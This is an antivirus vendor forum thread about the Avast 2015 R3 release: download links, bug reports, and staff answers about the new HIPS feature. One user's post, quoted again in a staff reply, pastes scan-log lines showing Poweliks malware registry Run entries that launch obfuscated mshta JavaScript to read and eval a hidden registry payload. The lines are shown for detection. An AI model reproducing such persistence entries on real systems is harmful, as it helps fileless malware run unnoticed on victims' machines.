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Title: AVAST 2015 R3(2015.10.3.2223)
Post by: hectic-mmv on July 13, 2015, 03:30:03 PM
Hi all,

New version AVAST 2015 R3 (build number 2015.10.3.2223) has been released:

New features and improvements in Avast 2015 R3:


How to install:

1. Update from existing Avast version

2. Or you can download and install from here:

http://files.avast.com/iavs9x/avast_free_antivirus_setup.exe

http://files.avast.com/iavs9x/avast_pro_antivirus_setup.exe

http://files.avast.com/iavs9x/avast_internet_security_setup.exe

http://files.avast.com/iavs9x/avast_premier_antivirus_setup.exe



Avast cleaner:
http://files.avast.com/iavs9x/avastclear.exe

It should be possible to install this version on top of your existing avast! installation (all settings should be preserved).

To report BSODs, crashes or any other none trivial problems please use new SupportPackage generating tool.
- http://utils.support.tools.avast.com/tools/support/utils/avastsupport.exe

Instructions how to use it can be easily found:
- https://www.avast.com/en-us/faq.php?article=AVKB33#artTitle



Thank you very much to everyone who contributed on release!
Avast team
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Secondmineboy on July 13, 2015, 03:34:44 PM
Im already running this Build version but im gonna clean install anyway to avoid potential issues :)

Cant wait for Avast 2016, i hope you have something bigger planned security-wise :D
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: SpeedyPC on July 13, 2015, 03:39:23 PM
I've update the AIS via GUI and everything is running smooth as a baby bum ;)

Thanks for the update Avast ;)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: avadas.de on July 13, 2015, 03:41:39 PM
Hi,

it was much nicer, when there was a final release with a different version number as in the past years (even if nothing has changed from RC to RTM). Maybe this should be considered again for future releases.

German users might be interested in the Avast 2015 R3 German Release Notes translation (http://forum.avadas.de/threads/7151-Avast-2015-10-2-2223-R3).
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Rednose on July 13, 2015, 03:46:02 PM
So nothing new for us Beta testers today :'(

Greetz, Red.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: -midnight on July 13, 2015, 03:52:50 PM
Updated on my win 8.1 with no problems.  :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Asyn on July 13, 2015, 04:09:40 PM
So nothing new for us Beta testers today :'(
Nope. ;D
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: hectic-mmv on July 13, 2015, 04:17:19 PM
So nothing new for us Beta testers today :'(

Greetz, Red.

I am sorry Rednose. No new bugs released today. Don't worry, new beta release will be here soon and lots of new issues ;)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Rednose on July 13, 2015, 04:31:13 PM
Don't worry, new beta release will be here soon and lots of new issues ;)

Yes I know : R4 Beta with the new SafeZone ;)

Greetz, Red.


P.S. I think I am going to email Petr Kurtin, to see if I can get an Alpha of it.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: GTX66 on July 13, 2015, 04:41:01 PM
I read where the rest of the versions such as Pro went final today. I thought that AIS would as well. Guess not.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Secondmineboy on July 13, 2015, 04:41:20 PM
Or Avast 2016 Beta :) Who knows?

Avast team knows that for sure

PS: I dont think Petr Kurtin will give you an alpha
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: DavidR on July 13, 2015, 04:52:12 PM
Hi,

it was much nicer, when there was a final release with a different version number as in the past years (even if nothing has changed from RC to RTM). Maybe this should be considered again for future releases.
<snip>

I couldn't agree more an RC build number shouldn't suddenly become the the Release version number - even if there have been no changes (in what was a short R3 RC2) the build number should have an incremental increase (even if artificial) as I feel it avoids confusion.

For those involved in the Beta testing, including RC builds still have 2015 BETA emblazoned on the UI.

If there are many new/updates things due soon why the rush to avast 2015 R3 ???
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Be Secure on July 13, 2015, 04:59:21 PM
Thanks for the release.I just updated via gui of Avast! free it is more smooth,But Avast! should give brief description of the Host-based intrusion prevention system (HIPS).Have a good day :D
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Secondmineboy on July 13, 2015, 05:01:17 PM
@Be Secure: An Avast team member wanted to give more information on it, but nothing yet.

@hectic-mmv: Whats going on? :D
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: abruptum on July 13, 2015, 05:05:20 PM
"Over the top" custom installation. Everything looks good except I lost all restore points, AGAIN !

Avast! should give brief description of the Host-based intrusion prevention system (HIPS).
I agree.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Be Secure on July 13, 2015, 05:08:03 PM
@Be Secure: An Avast team member wanted to give more information on it, but nothing yet.

@hectic-mmv: Whats going on? :D
It is impossible to do anything without more information on HIPS.And same question Whats going on? ???
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: abruptum on July 13, 2015, 05:23:12 PM
Why there is additional unsecapp.exe process ?
I know that one unsecapp.exe process is related to AdFender.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: SpeedyPC on July 13, 2015, 05:35:35 PM
Question can anybody confirm that SafeZone working properly in the latest R3 or do we have to wait until R4 :o ??? ???
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: schmidthouse on July 13, 2015, 05:38:13 PM
Question can anybody confirm that SafeZone working properly in the latest R3 or do we have to wait until R4 :o ??? ???

Is it not working for you??
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Secondmineboy on July 13, 2015, 05:42:35 PM
Its working for me on Windows 10 Build 10166, but Universal apps launch OUTSIDE of the SafeZone.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: -midnight on July 13, 2015, 05:43:35 PM
PC is already optimized on win 8.1, needs to be optimized on win 7?

What does this mean?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Secondmineboy on July 13, 2015, 05:44:44 PM
It depends on the system settings, theyre different on Windows 8.1 and Windows 7.

Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: SpeedyPC on July 13, 2015, 05:47:33 PM
Question can anybody confirm that SafeZone working properly in the latest R3 or do we have to wait until R4 :o ??? ???

Is it not working for you??

(http://my.jetscreenshot.com/18514/m_20150713-lfsn-65kb.jpg) (http://my.jetscreenshot.com/18514/20150713-lfsn-65kb)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Rednose on July 13, 2015, 05:56:15 PM
Question can anybody confirm that SafeZone working properly in the latest R3 or do we have to wait until R4 :o ??? ???

SafeZone in R3 is ( still ) the same as in R2. The new SafeZone was left out of R3 Beta at the last moment, because of some issues.
As far as I know now, an R4 release is planned with ( also ) the new SafeZone. Don't ask me exactly when though.

Greetz, Red.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: schmidthouse on July 13, 2015, 08:15:41 PM
Speedy, the "Component Status" box for SafeZone has never worked properly (for me),
Have you fired up the SafeZone Browser? Is that working for you?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: RejZoR on July 13, 2015, 08:27:34 PM
I've updated my Protection Tweaks for avast! 2015 with "special" adjustments to the newly introduced HIPS feature. It's adjusted in a way to provide maximum protection with minimal interaction required by the user. Basically I've set it to High sensitivity and to only detect malware like behavior. Seems like the best option currently and something I'll be using as well...

https://rejzor.wordpress.com/avast-2015-protection-tweaks/
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Cyberpunk on July 13, 2015, 09:27:57 PM

Host-based intrusion prevention system (HIPS): an installed software package which monitors a single host for suspicious activity by analyzing events occurring within that host

Where can I find the settings for HIPS? I already have HIPS through Online Armor Free, so I want to turn it off.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Charyb on July 13, 2015, 09:46:48 PM

Host-based intrusion prevention system (HIPS): an installed software package which monitors a single host for suspicious activity by analyzing events occurring within that host

Where can I find the settings for HIPS? I already have HIPS through Online Armor Free, so I want to turn it off.
File System Shield settings.

Settings -> Active Protection -> File System Shield -> Sensitivity
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Charyb on July 13, 2015, 10:18:20 PM
Has anyone seen a HIPS popup since the first beta?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Secondmineboy on July 13, 2015, 10:23:09 PM
Heres one for you: http://prntscr.com/7saumc

Or you just get a normal file-system-shield like popup telling Avast blocked something.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: freeforever03 on July 13, 2015, 10:25:49 PM
I recently updated Avast Free 2015 v10.2.2215 to version v10.3.2223 RC2 and found a problem. After installation, I launched Thunderbird 38.1.0 and found that an error was generated when Thunderbird tried to communicate with gmail. The error was that Thunderbird could connect to pop.gmail.com. but would time out after about 10 seconds. This error was not present in the previous build of Avast Free. Therefore I uninstalled the new RC2 version of Avast and reinstalled the previous version. The error persisted which implies that the problem may have to do with something getting broken during installation. It should also be noted that accessing Gmail directly was not a problem. The only problem was accessing Gmail with Thunderbird. In addition, Thunderbird had no issue accessing my Yahoo accounts.

It was suggested, by 2 forum members, that I try replacing the Thunderbird SSL certificate with the new one in Avast. but unfortunately, that did not fix the problem. It appears that Thunderbird goes out to the pop server and connects to the server. Thunderbird then displays a message saying that it is connected to the server. It then times out after about 10 seconds or so. At this point I am a little gun shy about upgrading to the new final version. Has anyone experienced this problem with Thunderbird?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Charyb on July 13, 2015, 10:26:44 PM
Heres one for you: http://prntscr.com/7saumc (http://prntscr.com/7saumc)

Or you just get a normal file-system-shield like popup telling Avast blocked something.
Is that popup from the new release or from one of the betas?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: -midnight on July 13, 2015, 10:53:46 PM
Smart Scan has been scanning for performance issues on my win 7 computer for over 2 hours and has this little circle going around and it shows loading.  When I click on skip it shows "your PC still has performance issues."  I have no idea of what that means. 

Could someone please explain?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Secondmineboy on July 13, 2015, 11:32:29 PM
Heres one for you: http://prntscr.com/7saumc (http://prntscr.com/7saumc)

Or you just get a normal file-system-shield like popup telling Avast blocked something.
Is that popup from the new release or from one of the betas?

Its from a Beta version :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Rednose on July 14, 2015, 12:41:16 AM
But Avast! should give brief description of the Host-based intrusion prevention system (HIPS).

Good point :)

There is already more information available for the Evangelists, but I will ask the Developer for input here as well.

Greetz, Red.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: freeforever03 on July 14, 2015, 12:55:47 AM
Heres one for you: http://prntscr.com/7saumc (http://prntscr.com/7saumc)

Or you just get a normal file-system-shield like popup telling Avast blocked something.
Is that popup from the new release or from one of the betas?

After hours of searching I finally found the problem. It turned out to be a setting in Thunderbird. Under Account Settings / "Account Name" / Server Settings there is a sub-heading called connection security. I had it set to "none". I changed it to SSL/TLS and everything worked fine. The mystery is why it worked in the previous 2015 release.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Be Secure on July 14, 2015, 04:11:17 AM
It would be nicer to change build number of avast!.It is create more and more confusion :) One more thing Pls make a fix for webshield it prevent the webpages to load(slow) in avast!2015 R3 (2015.10.3.2223) version also.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: SpeedyPC on July 14, 2015, 06:57:18 AM
Speedy, the "Component Status" box for SafeZone has never worked properly (for me),
Have you fired up the SafeZone Browser? Is that working for you?

@schmidthouse yes I have fired up the SafeZone Browser? and it working cause I wasn't sure about the "Component Status" box for SafeZone to make it was working.


Edit:-
(http://my.jetscreenshot.com/18514/m_20150714-i5kk-47kb.jpg) (http://my.jetscreenshot.com/18514/20150714-i5kk-47kb)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Be Secure on July 14, 2015, 08:12:40 AM
A Bug/glitch is found.The "UPGREADE" is no more seen on avast! gui.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: heikwith on July 14, 2015, 10:05:05 AM
Many problems in my dutch Vista after online update to AVAST 2015 R3 (2015.10.3.2223)
All my browsers cannot reach internet anymore (not found message or hang).
After disabling Avast everything looks normal.
Same problem after repair.
By the way repair changed the Avast language from Dutch to Englisch (should not be done, I think)

Everything Ok after going back to 2015 R2.

Are there other Vista users with same problems ?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Mr. Sunny on July 14, 2015, 12:08:51 PM
Hi,
when a new CleanUp will add to ukrainian localization of Avast?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Martin Kudlicka on July 14, 2015, 12:15:28 PM
Smart Scan has been scanning for performance issues on my win 7 computer for over 2 hours and has this little circle going around and it shows loading.  When I click on skip it shows "your PC still has performance issues."  I have no idea of what that means. 

Could someone please explain?

Can you try to start it from Scan / Scan for performance issues ? 2 hours is definitely too much, it shouldn't take more than few minutes.

Anyway you can contact support so we can take a look on this issue. Log file would be helpful.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: NON on July 14, 2015, 01:24:18 PM
Thank you for the release. :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: -midnight on July 14, 2015, 01:27:57 PM
Smart Scan has been scanning for performance issues on my win 7 computer for over 2 hours and has this little circle going around and it shows loading.  When I click on skip it shows "your PC still has performance issues."  I have no idea of what that means. 

Could someone please explain?

Can you try to start it from Scan / Scan for performance issues ? 2 hours is definitely too much, it shouldn't take more than few minutes.

Anyway you can contact support so we can take a look on this issue. Log file would be helpful.

I'm scanning for performance issues right now.  I've never contacted support so could you please send me a link?  Thank you.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Martin Kudlicka on July 14, 2015, 01:36:49 PM
I think you can sumbit an issue here - https://support.avast.com/ . And please attach (in zip for example) from log folder (usually located at c:\ProgramData\AVAST Software\Avast\log) files AvastSvc.log, AvastUI.log and GrimeFighter2.log. Thank you.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: -midnight on July 14, 2015, 01:56:10 PM
I don't have GrimeFighter installed.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Martin Kudlicka on July 14, 2015, 02:02:16 PM
GrimeFighter2.log is log file for Cleanup - GrimeFighter is now Avast Cleanup (https://forum.avast.com/index.php?topic=173593.0) . Or you don't have Cleanup installed?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: -midnight on July 14, 2015, 02:04:17 PM
No, I don't have Cleanup installed.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Martin Kudlicka on July 14, 2015, 02:13:46 PM
Ok then, so this is some UI Smart Scan issue - trying to include performance issues step when this component is not installed at all. We will try find out why it happens. In this case it might be helpful to have your avast5.ini, if you can submit it on support page. And thanks for you time.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Staticguy on July 14, 2015, 02:23:24 PM
Did a clean install of Avast 2015 R3 (2015.10.3.2223) and it went successfully. The HIPS feature is freaking awesome. Thanks heaps Avast. Can't wait for 2016 release and come up with awesome features  ;D.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 14, 2015, 03:05:49 PM
I've updated my Protection Tweaks for avast! 2015 with "special" adjustments to the newly introduced HIPS feature. It's adjusted in a way to provide maximum protection with minimal interaction required by the user. Basically I've set it to High sensitivity and to only detect malware like behavior. Seems like the best option currently and something I'll be using as well...

https://rejzor.wordpress.com/avast-2015-protection-tweaks/ (https://rejzor.wordpress.com/avast-2015-protection-tweaks/)
Thanks. :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Be Secure on July 14, 2015, 03:55:10 PM
I've updated my Protection Tweaks for avast! 2015 with "special" adjustments to the newly introduced HIPS feature. It's adjusted in a way to provide maximum protection with minimal interaction required by the user. Basically I've set it to High sensitivity and to only detect malware like behavior. Seems like the best option currently and something I'll be using as well...

https://rejzor.wordpress.com/avast-2015-protection-tweaks/
Thanks@RejZoR.I set it to High untill  it not clear to me or avast! team not talk about HIPS :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Maxx_original on July 14, 2015, 04:18:17 PM
The issue with IE triggering a HIPS warning (seen on screenshot) is already fixed. If you want to test HIPS, use the middle or highest level of sensitivity and let us know, whether it somehow annoys you while regularly using your OS (especially installing new software etc). The currently most visible part should be realtime registry watching, which is supposed to block dangerous actions, but not to make a lot of noise with common applications.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: essexboy on July 14, 2015, 04:49:57 PM
Maxx does that mean registry entries like the latest Poweliks variant ?

Code: [Select]
HKLM-x32\...\Run: [**3fdeaf54<*>] => mshta javascript:vog3nwYSB="Ygv5";R0X8=new%20ActiveXObject("WScript.Shell");WXZe4zlnY="NEB";UMw8z=R0X8.RegRead("HKLM\\software\\Wow6432Node\\b88f6968\\d7d3f891");vGYaHFm2e="Uz2";eval(UMw8z);HOZc14VTu=
HKU\S-1-5-21-366375899-1387106490-284134612-1001\...\Run: [**3fdeaf54<*>] => mshta javascript:yVT1laXCy="C1S";J14d=new%20ActiveXObject("WScript.Shell");YJv7AWh="7JVM";pr9xT=J14d.RegRead("HKCU\\software\\b88f6968\\d7d3f891");EL9o4fUHr="Tv9";eval(pr9xT);e1YkQOQz="Tf"; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-366375899-1387106490-284134612-1001\...\Run: [**bc4486ce<*>] => mshta javascript:DYD1aob="yaV3V8";W8a=new%20ActiveXObject("WScript.Shell");bKGdj8ol="ezMu8VgPiH";Mf6n7U=W8a.RegRead("HKCU\\software\\b88f6968\\d7d3f891");dO7BoV7zGb="VcO8q0mdwY";eval(Mf6n7U);cP6GUIx2= (the data entry has 9 more characters). <===== ATTENTION (Value Name with invalid characters)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Dwarden on July 14, 2015, 04:53:46 PM
well I still can on Windows XP replicate the issue with Avast! preventing OS startup

the only solution is to to get rid of C:\windows\drivers\aswSnx.sys

IMHO the Avast Sandbox driver is colliding with Kerio Firewall drivers but I'm not sure

yes unfortunately I still have some XP systems to keep eye on (can't wait to get rid of those later this year)

also it seems there is (was) issue with new Avast vs Tunderbird (on scanning of outgoing files) ...

Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: hectic-mmv on July 14, 2015, 04:59:53 PM
It would be nicer to change build number of avast!.It is create more and more confusion :) One more thing Pls make a fix for webshield it prevent the webpages to load(slow) in avast!2015 R3 (2015.10.3.2223) version also.

Please can you write here the list of pages which load slowly?

About build number. It is intended to have same build number in beta channel after release. The advantage is, that the same build is in both channel and there is no risk in release or build process. Its the internal stuff but bring better quality for Avast build.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Be Secure on July 14, 2015, 05:16:47 PM
It would be nicer to change build number of avast!.It is create more and more confusion :) One more thing Pls make a fix for webshield it prevent the webpages to load(slow) in avast!2015 R3 (2015.10.3.2223) version also.

Please can you write here the list of pages which load slowly?

About build number. It is intended to have same build number in beta channel after release. The advantage is, that the same build is in both channel and there is no risk in release or build process. Its the internal stuff but bring better quality for Avast build.
www.malwarebytes.org
Yes.All most every new pages eg.snapdeal.com,www.amazon.in,filehippo.com,malwarebytes.org,even avast.com etc.When i disable Avast! webshield it funtion normal.Pls make some fix.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Maxx_original on July 14, 2015, 05:51:05 PM
Maxx does that mean registry entries like the latest Poweliks variant ?

Code: [Select]
HKLM-x32\...\Run: [**3fdeaf54<*>] => mshta javascript:vog3nwYSB="Ygv5";R0X8=new%20ActiveXObject("WScript.Shell");WXZe4zlnY="NEB";UMw8z=R0X8.RegRead("HKLM\\software\\Wow6432Node\\b88f6968\\d7d3f891");vGYaHFm2e="Uz2";eval(UMw8z);HOZc14VTu=
HKU\S-1-5-21-366375899-1387106490-284134612-1001\...\Run: [**3fdeaf54<*>] => mshta javascript:yVT1laXCy="C1S";J14d=new%20ActiveXObject("WScript.Shell");YJv7AWh="7JVM";pr9xT=J14d.RegRead("HKCU\\software\\b88f6968\\d7d3f891");EL9o4fUHr="Tv9";eval(pr9xT);e1YkQOQz="Tf"; <===== ATTENTION (Value Name with invalid characters)
HKU\S-1-5-21-366375899-1387106490-284134612-1001\...\Run: [**bc4486ce<*>] => mshta javascript:DYD1aob="yaV3V8";W8a=new%20ActiveXObject("WScript.Shell");bKGdj8ol="ezMu8VgPiH";Mf6n7U=W8a.RegRead("HKCU\\software\\b88f6968\\d7d3f891");dO7BoV7zGb="VcO8q0mdwY";eval(Mf6n7U);cP6GUIx2= (the data entry has 9 more characters). <===== ATTENTION (Value Name with invalid characters)

Latest Poweliks is currently being analysed, previous versions should be properly blocked.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: mikaelrask on July 14, 2015, 07:12:14 PM
update went fine here  :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: psikofunkster on July 14, 2015, 07:38:56 PM
It would be nicer to change build number of avast!.It is create more and more confusion :) One more thing Pls make a fix for webshield it prevent the webpages to load(slow) in avast!2015 R3 (2015.10.3.2223) version also.

Please can you write here the list of pages which load slowly?

About build number. It is intended to have same build number in beta channel after release. The advantage is, that the same build is in both channel and there is no risk in release or build process. Its the internal stuff but bring better quality for Avast build.
www.malwarebytes.org
Yes.All most every new pages eg.snapdeal.com,www.amazon.in,filehippo.com,malwarebytes.org,even avast.com etc.When i disable Avast! webshield it funtion normal.Pls make some fix.

Same issue here im on win 7 64. Brand new install, though the culprit was my brand new ssd...avast once more....sigh rolling back to Previous version..
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: -midnight on July 14, 2015, 08:16:51 PM
Ok then, so this is some UI Smart Scan issue - trying to include performance issues step when this component is not installed at all. We will try find out why it happens. In this case it might be helpful to have your avast5.ini, if you can submit it on support page. And thanks for you time.

I just ran Smart Scan again on my win 7 computer and even though I don't have GrimeFighter or Cleanup installed it showed I have no Performance issues.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: DavidR on July 14, 2015, 08:58:54 PM
Ok then, so this is some UI Smart Scan issue - trying to include performance issues step when this component is not installed at all. We will try find out why it happens. In this case it might be helpful to have your avast5.ini, if you can submit it on support page. And thanks for you time.

I just ran Smart Scan again on my win 7 computer and even though I don't have GrimeFighter or Cleanup installed it showed I have no Performance issues.

I think that is what Martin is saying - he feels that it is more an issue with the Smart Scan results being displayed incorrectly in the UI. Not that you actually have Cleanup installed or that it even ran during the smart scan.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Martin Kudlicka on July 15, 2015, 07:40:25 AM
Exactly. There is no Cleanup scan/clean, just incorrect UI message.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Dwarden on July 15, 2015, 10:14:33 AM
more problems with this new Avast vs Windows XP SP3 , it blocked Flash update (.209), Java update (.51) and Windows updates (yes the extended ones) ...

only disabling it's services allowed correct install ...

so for me it seems Avast is dead on XP , same as XP ... aka time to nuke em
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: -midnight on July 15, 2015, 02:15:49 PM
Exactly. There is no Cleanup scan/clean, just incorrect UI message.

On both my win 7 and win 8.1 smart scan shows "your PC performance is already optimized. What does that mean?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: Martin Kudlicka on July 15, 2015, 02:25:07 PM
Well, it depends whether you have Cleanup installed :) . When not installed, it's related to the issue we discussed few posts above. Otherwise it tells you that Cleanup didn't find any junk/problems on your computer so there is nothing to clean.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: DavidR on July 15, 2015, 05:00:40 PM
more problems with this new Avast vs Windows XP SP3 , it blocked Flash update (.209), Java update (.51) and Windows updates (yes the extended ones) ...

only disabling it's services allowed correct install ...

so for me it seems Avast is dead on XP , same as XP ... aka time to nuke em

Firefox blocked my access to flash (not avast) saying it was an unsafe add-on. I don't have JAVA installed.

I was able to download both activeX and plugin off-line installation versions from the usual distribution3 link and no problem installing both updates on my XP Pro and win7 netbook systems.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: RejZoR on July 15, 2015, 06:22:00 PM
When there are critical exploits, Firefox will trigger plugin blocking faster. This is what happened with the 203 build of Adobe Flash.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: cruiser25 on July 15, 2015, 10:16:03 PM
Avast pro installed without a problem on this computer which i can´t say about my other computer which has McAfee internet security installed. Since 27.06.2015 when it autoupdated the McAfee program McAfee won´t allow new virus updates to be installed without bypassing the accesprotection function and do a manual update. McAfee suport so far failes to solve the problem.
I have about 130 days left to when the license expires. I remember there was a problem with straming updates in the avast program in the past which was discussed in this forum, but it did get solved. Hopefully my problem on the other computer will get solved to. Otherwise i will change to avast on that to. I have had no other issues with Avast which I can remember.
Keep up the good work
    :)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 16, 2015, 03:38:34 AM
Avast pro installed without a problem on this computer which i can´t say about my other computer which has McAfee internet security installed. Since 27.06.2015 when it autoupdated the McAfee program McAfee won´t allow new virus updates to be installed without bypassing the accesprotection function and do a manual update. McAfee suport so far failes to solve the problem.
I have about 130 days left to when the license expires. I remember there was a problem with straming updates in the avast program in the past which was discussed in this forum, but it did get solved. Hopefully my problem on the other computer will get solved to. Otherwise i will change to avast on that to. I have had no other issues with Avast which I can remember.
Keep up the good work
    :)
Follow the link in my signature to Successfully Install Avast.
(You should never run more than one resident AV on your system at a time.)
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: cruiser25 on July 16, 2015, 08:18:38 PM
As I explained in my earlier post it is two different computers with two different internet connections. So there is no conflict between different Brands of Antivirusproducts. The problem with Mcafee is related to an McAfee update that occured about 19 days ago and affects many moore computers than mine. I mentioned it just to say i´m pleased that the avast update works fine so far :)
ps.
Only one computer is on at the same time. Maybe I wasn´t clear enough that I have only one Antivirusprogram installed on each computer sorry if that was the case.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 16, 2015, 08:34:15 PM
As I explained in my earlier post it is two different computers with two different internet connections. So there is no conflict between different Brands of Antivirusproducts. The problem with Mcafee is related to an McAfee update that occured about 19 days ago and affects many moore computers than mine. I mentioned it just to say i´m pleased that the avast update works fine so far :)
ps.
Only one computer is on at the same time.
Sorry but news about McAfee or any other third party AV problems really don't have an audience here. :)
Hope you reported it in their Forum. :)

Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: cruiser25 on July 16, 2015, 08:48:02 PM
I realy don´t know what to say about an answer like yours. I reported that i´ve was pleased with the update procedure on Avast pro antivirus and that it worked fine. I did mention the McAfee issue just to point out the difference between the two updates. Not for any advice on that matter. I didn´t know that this was such a sensible matter in this forum.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: bob3160 on July 16, 2015, 08:52:29 PM
I realy don´t know what to say about an answer like yours. I reported that i´ve was pleased with the update procedure on Avast pro antivirus and that it worked fine. I did mention the McAfee issue just to point out the difference between the two updates. Not for any advice on that matter. I didn´t know that this was such a sensible matter in this forum.
It isn't sensitive not just something you'll find any one interested in.
Knowing that your version of Avast updated with out incident is always good news but, it's also expected.
If it does have issues, reporting and solving those issues is what this forum is all about. :)

Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: ky331 on July 17, 2015, 03:44:14 AM
As best as I can determine, something in this newest build is blocking the MSRT  (Microsoft's Malicious Software Removal Tool) from running on XP:   when avast is enabled, the MSRT starts/tries to run, but it just "dies" and exits from memory... there are no warning messages from avast, and nothing appears to have been quarantined. 

But if I disable avast's shields --- specifically, the File System shield --- I can then run the MSRT.   Seems to be a clear "cause and effect" relationship here.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: iroc9555 on July 17, 2015, 04:07:52 AM
Hi ky331.

No problems here with my XP and Avast 10.3.2223. I just just ran MRT to try it out since I had the old Avast version installed when the MU were installed Tuesday.

Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: ky331 on July 17, 2015, 01:07:52 PM
Hey Hernan!   Good to see you around  :)

Thanks for looking into the matter and deciding it's not simply avast (alone).   As you know, I have many layers of security on my systems... so perhaps it's a combination of the new avast being a catalyst to trigger one of my other security programs.   Because there's no denying that having the x.2223 avast enabled (catalyst?) stops the MSRT on my XP system, but with the avast file-shield disabled, the MSRT will run.   I never had any problems running the MSRT for XP under older builds of avast. 

It's not the most important of issues, since there will be no more future MSRT versions for XP.   But if I get a chance to "tinker", maybe I'll try to investigate further.   Unfortunately, without any indication of warning/error messages,  it may be difficult to analyze.


Thanks again.

EDIT:   With avast's file shield enabled, I tried disabling MBAM Pro, MBAE Pro, and CryptoPrevent --- one at a time ---, but none of these changed anything.   I don't know that I plan to try anything else.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: NON on July 17, 2015, 02:20:35 PM
@ky331

The only change I can think of between Avast 2015 R2 and R3 is the HIPS feature, implemented into File System Shield.
If you disable HIPS (File System Shield Settings -> Sensitivity -> HIPS), does MRT run?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: ky331 on July 17, 2015, 02:27:55 PM
Hi NON,

Per RejZoR's suggestion, I had previously UNchecked the box to "Monitor the system for unauthorized modifications".

I indeed was thinking the same as you, and so specifically tested the HIPS possibility by [temporarily] UNchecking the box to "Monitor the system for malware-like behavior"... but that didn't make a difference either.

I'm assuming that with both boxes UNchecked, the sensitivity setting is irrelevant.
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: RejZoR on July 17, 2015, 05:36:56 PM
Can someone tell me why avast! R3 build doesn't install NG Sandbox on Windows 10 64bit (RTM build) ? Didn't get the option during install and in settings it's also not visible. What's up with that? I thought it's 100% compatible with Windows 10 ?
Title: Re: AVAST 2015 R3 (2015.10.3.2223)
Post by: GTX66 on July 17, 2015, 10:45:42 PM
